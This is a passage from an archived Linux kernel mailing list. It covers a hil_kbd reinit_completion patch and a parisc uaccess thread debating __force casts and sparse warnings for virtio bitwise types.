	mail-ie0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750845AbaLZXmo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Dec 2014 18:42:44 -0500
Original-Received: by mail-ie0-f182.google.com with SMTP id x19so10041354ier.27;
        Fri, 26 Dec 2014 15:42:43 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=pR+5SuWDNXWplkMtqX85f99bSYNzWz2w03b3SDkLyyM=;
        b=LzHy4XHbVN3G6B+BiPLN43H8hZ5G3UTeoWWXgOUYDmuUhk6CyoYgrkOLsfLmud9xhO
         TezfrBKtTq80ZjtcKmaDDHQ+lTz//BnfpdVOgbkj5WohVQV0o10w2q/mc6woXmg6Yj0r
         aVLNZbAO3Fag6V25th1iN7NytbCW0wyg+S3MEdNHW7Q27v00BhrGHhSYFuUVejOEkggC
         zbgxiMCaZkgKWItZjS5wgCxTrAqCr9dpAu1uLxa0Xnk5/dabnMdf2WSRG0RI7YY7nz/s
         XQGtTibIH9E1LZ2bUWai6lN6FhwquDp5Djq4JDeqgqwELfXV8kQmTrKWdZGbmpZjsd94
         qjvA==
X-Received: by 10.107.164.75 with SMTP id n72mr41178812ioe.17.1419637363926;
        Fri, 26 Dec 2014 15:42:43 -0800 (PST)
Original-Received: from dtor-ws ([2620:0:1000:1301:117e:3e6e:bc70:dd8a])
        by mx.google.com with ESMTPSA id f7sm11122801igc.22.2014.12.26.15.42.41
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Fri, 26 Dec 2014 15:42:42 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1419581170-5182-1-git-send-email-der.herr@hofr.at>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25516 gmane.linux.kernel.input:40046 gmane.linux.kernel:1856205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25516>

On Fri, Dec 26, 2014 at 09:06:10AM +0100, Nicholas Mc Guire wrote:
> The successive init_completion calls should be reinit_completion calls.
> 
> patch against 3.19.0-rc1 linux-next
> 
> Acked-by: Helge Deller <deller@gmx.de>
> Signed-off-by: Nicholas Mc Guire <der.herr@hofr.at>

Applied, thank you.

> ---
>  drivers/input/keyboard/hil_kbd.c |    6 +++---
>  1 file changed, 3 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
> index 610a8af..5b152f2 100644
> --- a/drivers/input/keyboard/hil_kbd.c
> +++ b/drivers/input/keyboard/hil_kbd.c
> @@ -473,7 +473,7 @@ static int hil_dev_connect(struct serio *serio, struct serio_driver *drv)
>  	if (error)
>  		goto bail1;
> 
> -	init_completion(&dev->cmd_done);
> +	reinit_completion(&dev->cmd_done);
>  	serio_write(serio, 0);
>  	serio_write(serio, 0);
>  	serio_write(serio, HIL_PKT_CMD >> 8);
> @@ -482,7 +482,7 @@ static int hil_dev_connect(struct serio *serio, struct serio_driver *drv)
>  	if (error)
>  		goto bail1;
> 
> -	init_completion(&dev->cmd_done);
> +	reinit_completion(&dev->cmd_done);
>  	serio_write(serio, 0);
>  	serio_write(serio, 0);
>  	serio_write(serio, HIL_PKT_CMD >> 8);
> @@ -491,7 +491,7 @@ static int hil_dev_connect(struct serio *serio, struct serio_driver *drv)
>  	if (error)
>  		goto bail1;
> 
> -	init_completion(&dev->cmd_done);
> +	reinit_completion(&dev->cmd_done);
>  	serio_write(serio, 0);
>  	serio_write(serio, 0);
>  	serio_write(serio, HIL_PKT_CMD >> 8);
> --
> 1.7.10.4
> 

-- 
Dmitry
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH repost 12/16] parisc/uaccess: fix sparse errors
Date: Sat, 27 Dec 2014 18:14:14 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20141227161414.GA2571@redhat.com>
References: <1419499661-8566-1-git-send-email-mst@redhat.com>
 <1419499661-8566-13-git-send-email-mst@redhat.com>
 <549C91B9.8080009@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1419696888 18535 80.91.229.3 (27 Dec 2014 16:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 27 Dec 2014 16:14:48 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Dec 27 17:14:39 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Y4u0i-0004gf-8j
	for glka-linux-arch@plane.gmane.org; Sat, 27 Dec 2014 17:14:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751090AbaL0QOe (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sat, 27 Dec 2014 11:14:34 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:49302 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750748AbaL0QOd (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Sat, 27 Dec 2014 11:14:33 -0500
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id sBRGEIwL008548
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Sat, 27 Dec 2014 11:14:18 -0500
Original-Received: from redhat.com (ovpn-116-39.ams2.redhat.com [10.36.116.39])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id sBRGEF46029193;
	Sat, 27 Dec 2014 11:14:16 -0500
Content-Disposition: inline
In-Reply-To: <549C91B9.8080009@gmx.de>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:25898 gmane.linux.kernel:1856293 gmane.linux.ports.parisc:25517
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/25898>

On Thu, Dec 25, 2014 at 11:37:45PM +0100, Helge Deller wrote:
> Hi Michael,
> 
> On 12/25/2014 10:29 AM, Michael S. Tsirkin wrote:
> >virtio wants to read bitwise types from userspace using get_user.  At the
> 
> I don't know the virtio code much yet, but does it makes sense to read bitwise types?
> Will virtio then get possible troubles because of endianess correct as well?

There's no conversion: we are reading from __virtio16 __user *
pointer into __virtio16 v value.

> Do you have a code example, or the sparse error message ?
> 
> Helge

Sure. the code is upstream now.
The warning is below.

sparse warnings: (new ones prefixed by >>)

>> drivers/vhost/vringh.c:554:18: sparse: cast to restricted __virtio16

vim +554 drivers/vhost/vringh.c

   538                                                           __virtio16 *p, u16 val))
   539  {
   540          if (!vrh->event_indices) {
   541                  /* Old-school; update flags. */
   542                  if (putu16(vrh, &vrh->vring.used->flags,
   543                             VRING_USED_F_NO_NOTIFY)) {
   544                          vringh_bad("Setting used flags %p",
   545                                     &vrh->vring.used->flags);
   546                  }
   547          }
   548  }
   549
   550  /* Userspace access helpers: in this case, addresses are really userspace. */
   551  static inline int getu16_user(const struct vringh *vrh, u16 *val, const __virtio16 *p)
   552  {
   553          __virtio16 v = 0;
 > 554          int rc = get_user(v, (__force __virtio16 __user *)p);
   555          *val = vringh16_to_cpu(vrh, v);
   556          return rc;
   557  }
   558
   559  static inline int putu16_user(const struct vringh *vrh, __virtio16 *p, u16 val)
   560  {
   561          __virtio16 v = cpu_to_vringh16(vrh, val);
   562          return put_user(v, (__force __virtio16 __user *)p);



> 
> >moment this triggers sparse errors, since the value is passed through an
> >integer.
> >
> >Fix that up using __force.
> >
> >Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
> >---
> >  arch/parisc/include/asm/uaccess.h | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> >
> >diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
> >index a5cb070..3a20da6 100644
> >--- a/arch/parisc/include/asm/uaccess.h
> >+++ b/arch/parisc/include/asm/uaccess.h
> >@@ -104,7 +104,7 @@ struct exception_data {
> >  	    }                                           \
> >  	}                                               \
> >  							\
> >-	(x) = (__typeof__(*(ptr))) __gu_val;            \
> >+	(x) = (__force __typeof__(*(ptr))) __gu_val;            \
> >  	__gu_err;                                       \
> >  })
> >
> >

From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH repost 12/16] parisc/uaccess: fix sparse errors
Date: Wed, 31 Dec 2014 09:17:20 -0800
Lines: 75
Approved: news@gmane.org
Message-ID: <1420046240.2085.3.camel@HansenPartnership.com>
References: <1419499661-8566-1-git-send-email-mst@redhat.com>
	 <1419499661-8566-13-git-send-email-mst@redhat.com>
	 <549C91B9.8080009@gmx.de> <20141227161414.GA2571@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420046279 26490 80.91.229.3 (31 Dec 2014 17:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2014 17:17:59 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Dec 31 18:17:52 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Y6Mtt-0005y6-8e
	for glka-linux-arch@plane.gmane.org; Wed, 31 Dec 2014 18:17:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751026AbaLaRRX (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 31 Dec 2014 12:17:23 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44727 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750760AbaLaRRW (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Wed, 31 Dec 2014 12:17:22 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AA54A8EE159;
	Wed, 31 Dec 2014 09:17:21 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 290X07iZ0GRL; Wed, 31 Dec 2014 09:17:21 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1A37B8EE03A;
	Wed, 31 Dec 2014 09:17:21 -0800 (PST)
In-Reply-To: <20141227161414.GA2571@redhat.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:25911 gmane.linux.kernel:1857401 gmane.linux.ports.parisc:25518
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/25911>

On Sat, 2014-12-27 at 18:14 +0200, Michael S. Tsirkin wrote:
> On Thu, Dec 25, 2014 at 11:37:45PM +0100, Helge Deller wrote:
> > Hi Michael,
> > 
> > On 12/25/2014 10:29 AM, Michael S. Tsirkin wrote:
> > >virtio wants to read bitwise types from userspace using get_user.  At the
> > 
> > I don't know the virtio code much yet, but does it makes sense to read bitwise types?
> > Will virtio then get possible troubles because of endianess correct as well?
> 
> There's no conversion: we are reading from __virtio16 __user *
> pointer into __virtio16 v value.
> 
> > Do you have a code example, or the sparse error message ?
> > 
> > Helge
> 
> Sure. the code is upstream now.
> The warning is below.
> 
> sparse warnings: (new ones prefixed by >>)
> 
> >> drivers/vhost/vringh.c:554:18: sparse: cast to restricted __virtio16
> 
> vim +554 drivers/vhost/vringh.c
> 
>    538                                                           __virtio16 *p, u16 val))
>    539  {
>    540          if (!vrh->event_indices) {
>    541                  /* Old-school; update flags. */
>    542                  if (putu16(vrh, &vrh->vring.used->flags,
>    543                             VRING_USED_F_NO_NOTIFY)) {
>    544                          vringh_bad("Setting used flags %p",
>    545                                     &vrh->vring.used->flags);
>    546                  }
>    547          }
>    548  }
>    549
>    550  /* Userspace access helpers: in this case, addresses are really userspace. */
>    551  static inline int getu16_user(const struct vringh *vrh, u16 *val, const __virtio16 *p)
>    552  {
>    553          __virtio16 v = 0;
>  > 554          int rc = get_user(v, (__force __virtio16 __user *)p);
>    555          *val = vringh16_to_cpu(vrh, v);
>    556          return rc;
>    557  }
>    558
>    559  static inline int putu16_user(const struct vringh *vrh, __virtio16 *p, u16 val)
>    560  {
>    561          __virtio16 v = cpu_to_vringh16(vrh, val);
>    562          return put_user(v, (__force __virtio16 __user *)p);

OK, parisc developers still being dense, but this does look like an
abuse of the bitwise type.  bitwise is supposed to be consumed by endian
specific accessors.  get/put_user have no endian tags because they
really can't do this ... the potential for width mismatch between the
user and kernel address spaces could cause havoc if people get this
wrong, so the warning looks correct to me.

If we take your proposed patch we lose the type checking on all
accessors because of the __force.  Why not, instead, alter your code to
tell the kernel you know what you're doing:

        __u16 v = 0;
        int rc = get_user(v, (__force __u16 __user *)p);
        *val = vringh16_to_cpu(vrh, (__force __virtio16)v);
        return rc;

That way the accessors still warn if anyone else tries this but your
warning is gone and the code basically says you knew the u16 was really
an endianness specific virtio quantity?

James



From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH repost 12/16] parisc/uaccess: fix sparse errors
Date: Wed, 31 Dec 2014 20:38:24 +0200
Lines: 175
Approved: news@gmane.org
Message-ID: <20141231183824.GA32430@redhat.com>
References: <1419499661-8566-1-git-send-email-mst@redhat.com>
 <1419499661-8566-13-git-send-email-mst@redhat.com>
 <549C91B9.8080009@gmx.de>
 <20141227161414.GA2571@redhat.com>
 <1420046240.2085.3.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420051137 497 80.91.229.3 (31 Dec 2014 18:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2014 18:38:57 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Dec 31 19:38:50 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Y6OAS-0007HV-Ir
	for glka-linux-arch@plane.gmane.org; Wed, 31 Dec 2014 19:38:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751507AbaLaSir (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 31 Dec 2014 13:38:47 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:38504 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751466AbaLaSiq (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 31 Dec 2014 13:38:46 -0500
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id sBVIcSok003207
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Wed, 31 Dec 2014 13:38:28 -0500
Original-Received: from redhat.com (ovpn-116-19.ams2.redhat.com [10.36.116.19])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id sBVIcP9K015394;
	Wed, 31 Dec 2014 13:38:26 -0500
Content-Disposition: inline
In-Reply-To: <1420046240.2085.3.camel@HansenPartnership.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:25912 gmane.linux.kernel:1857415 gmane.linux.ports.parisc:25519
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/25912>

On Wed, Dec 31, 2014 at 09:17:20AM -0800, James Bottomley wrote:
> On Sat, 2014-12-27 at 18:14 +0200, Michael S. Tsirkin wrote:
> > On Thu, Dec 25, 2014 at 11:37:45PM +0100, Helge Deller wrote:
> > > Hi Michael,
> > > 
> > > On 12/25/2014 10:29 AM, Michael S. Tsirkin wrote:
> > > >virtio wants to read bitwise types from userspace using get_user.  At the
> > > 
> > > I don't know the virtio code much yet, but does it makes sense to read bitwise types?
> > > Will virtio then get possible troubles because of endianess correct as well?
> > 
> > There's no conversion: we are reading from __virtio16 __user *
> > pointer into __virtio16 v value.
> > 
> > > Do you have a code example, or the sparse error message ?
> > > 
> > > Helge
> > 
> > Sure. the code is upstream now.
> > The warning is below.
> > 
> > sparse warnings: (new ones prefixed by >>)
> > 
> > >> drivers/vhost/vringh.c:554:18: sparse: cast to restricted __virtio16
> > 
> > vim +554 drivers/vhost/vringh.c
> > 
> >    538                                                           __virtio16 *p, u16 val))
> >    539  {
> >    540          if (!vrh->event_indices) {
> >    541                  /* Old-school; update flags. */
> >    542                  if (putu16(vrh, &vrh->vring.used->flags,
> >    543                             VRING_USED_F_NO_NOTIFY)) {
> >    544                          vringh_bad("Setting used flags %p",
> >    545                                     &vrh->vring.used->flags);
> >    546                  }
> >    547          }
> >    548  }
> >    549
> >    550  /* Userspace access helpers: in this case, addresses are really userspace. */
> >    551  static inline int getu16_user(const struct vringh *vrh, u16 *val, const __virtio16 *p)
> >    552  {
> >    553          __virtio16 v = 0;
> >  > 554          int rc = get_user(v, (__force __virtio16 __user *)p);
> >    555          *val = vringh16_to_cpu(vrh, v);
> >    556          return rc;
> >    557  }
> >    558
> >    559  static inline int putu16_user(const struct vringh *vrh, __virtio16 *p, u16 val)
> >    560  {
> >    561          __virtio16 v = cpu_to_vringh16(vrh, val);
> >    562          return put_user(v, (__force __virtio16 __user *)p);
> 
> OK, parisc developers still being dense, but this does look like an
> abuse of the bitwise type.

To give you another example:

	__le16 __user *p;
	__le16 foo;
	int rc = get_user(v, p);

really should be fine, ATM this gives a warning.


>  bitwise is supposed to be consumed by endian
> specific accessors.

Surely, assignment is OK too? get_user is exactly that.

vringh16_to_cpu is an endian specific accessor.
Look up it's definition please. The reason for that __force is
because we are adding __user.
It's a decision Rusty made to reduce code duplication:
we have some code that handles both kernel and userspace pointers.

>  get/put_user have no endian tags because they
> really can't do this ... the potential for width mismatch between the
> user and kernel address spaces could cause havoc if people get this
> wrong, so the warning looks correct to me.


I'm sorry I don't understand.

Why is

	access_ok
	__get_user

safer than

	get_user

?

It does not trigger the warning, because
__get_user does not have the cast to long internally.

Also, on some architectures get_user does not cast to long
internally so there's no warning.

> If we take your proposed patch we lose the type checking on all
> accessors because of the __force.


Did you try?  In my testing, this is not at all true.

For example with my patch:


             u16 v = 0;
             int rc = get_user(v, (__force __virtio16 __user *)p);

correctly triggers a warning.



>  Why not, instead, alter your code to
> tell the kernel you know what you're doing:
> 
>         __u16 v = 0;
>         int rc = get_user(v, (__force __u16 __user *)p);
>         *val = vringh16_to_cpu(vrh, (__force __virtio16)v);
>         return rc;
> 
> That way the accessors still warn if anyone else tries this

Hmm I don't understand, sorry. Tries what?
Can you please show me an invalid use of get_user that
produces a warning currently but won't with my patch?

> but your
> warning is gone and the code basically says you knew the u16 was really
> an endianness specific virtio quantity?
> 
> James
> 


(__force __virtio16 __user *)
tells get_user exactly that pointer is to type __virtio16.
It does not get any more explicit.

What you are proposing is really discarding type
information by a bunch of __force calls.

I am very reluctant to do this.
In fact, because of the static checking I added,
conversion to virtio 1.0 went so smoothly:
most drivers worked right away after the conversion.
I'm very sure without static checking, or with
__force thrown around liberally, I would have



vringh specifically has one __force cast anyway because
it's mixing userspace and kernel pointers.

But, I also have an out of tree patch that use structures
like this:

	struct foo {
		__virtio16 bar;
	};


Now with my patches I can do:

       __virtio16 v = 0;
	struct foo __user *p;
       int rc = get_user(v, &p->bar);


-- 
MST

From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH repost 12/16] parisc/uaccess: fix sparse errors
Date: Wed, 31 Dec 2014 12:23:26 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <1420057406.2085.7.camel@HansenPartnership.com>
References: <1419499661-8566-1-git-send-email-mst@redhat.com>
	 <1419499661-8566-13-git-send-email-mst@redhat.com>
	 <549C91B9.8080009@gmx.de> <20141227161414.GA2571@redhat.com>
	 <1420046240.2085.3.camel@HansenPartnership.com>
	 <20141231183824.GA32430@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420057422 29264 80.91.229.3 (31 Dec 2014 20:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2014 20:23:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 21:23:35 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6Pnq-0001cu-5J
	for glpp-linux-parisc@plane.gmane.org; Wed, 31 Dec 2014 21:23:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751143AbaLaUX3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2014 15:23:29 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45563 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751026AbaLaUX2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2014 15:23:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 94E3C8EE159;
	Wed, 31 Dec 2014 12:23:27 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5JB_2LTKNi9x; Wed, 31 Dec 2014 12:23:27 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 0989B8EE03A;
	Wed, 31 Dec 2014 12:23:26 -0800 (PST)
In-Reply-To: <20141231183824.GA32430@redhat.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25520 gmane.linux.kernel:1857433 gmane.linux.kernel.cross-arch:25913
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25520>

On Wed, 2014-12-31 at 20:38 +0200, Michael S. Tsirkin wrote:
> On Wed, Dec 31, 2014 at 09:17:20AM -0800, James Bottomley wrote:
[...]
> > OK, parisc developers still being dense, but this does look like an
> > abuse of the bitwise type.
> 
> To give you another example:
> 
> 	__le16 __user *p;
> 	__le16 foo;
> 	int rc = get_user(v, p);
> 
> really should be fine, ATM this gives a warning.

OK, I think I've figured it out.  You're saying that casting __gu_val to
a bitwise annotated type is an automatic sparse failure because it has
to be a long in our assembly code to receive the load/store as a
register.  However, this is required for sparse to do the correct lvalue
type = rvalue type check in the assignment to x.  We were all thinking
the __force just killed these sparse type checks.

In that case, I think parisc is fine with this.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Wed, 31 Dec 2014 17:33:42 -0800
Lines: 107
Approved: news@gmane.org
Message-ID: <1420076022.2085.12.camel@HansenPartnership.com>
References: <54625FCD.3070008@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420076036 19130 80.91.229.3 (1 Jan 2015 01:33:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Jan 2015 01:33:56 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 01 02:33:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6Ue4-0003de-Dl
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Jan 2015 02:33:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751481AbbAABdp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Dec 2014 20:33:45 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46485 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751208AbbAABdo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Dec 2014 20:33:44 -0500
Original-Received: from localhost (localhost [127.0.0.1])
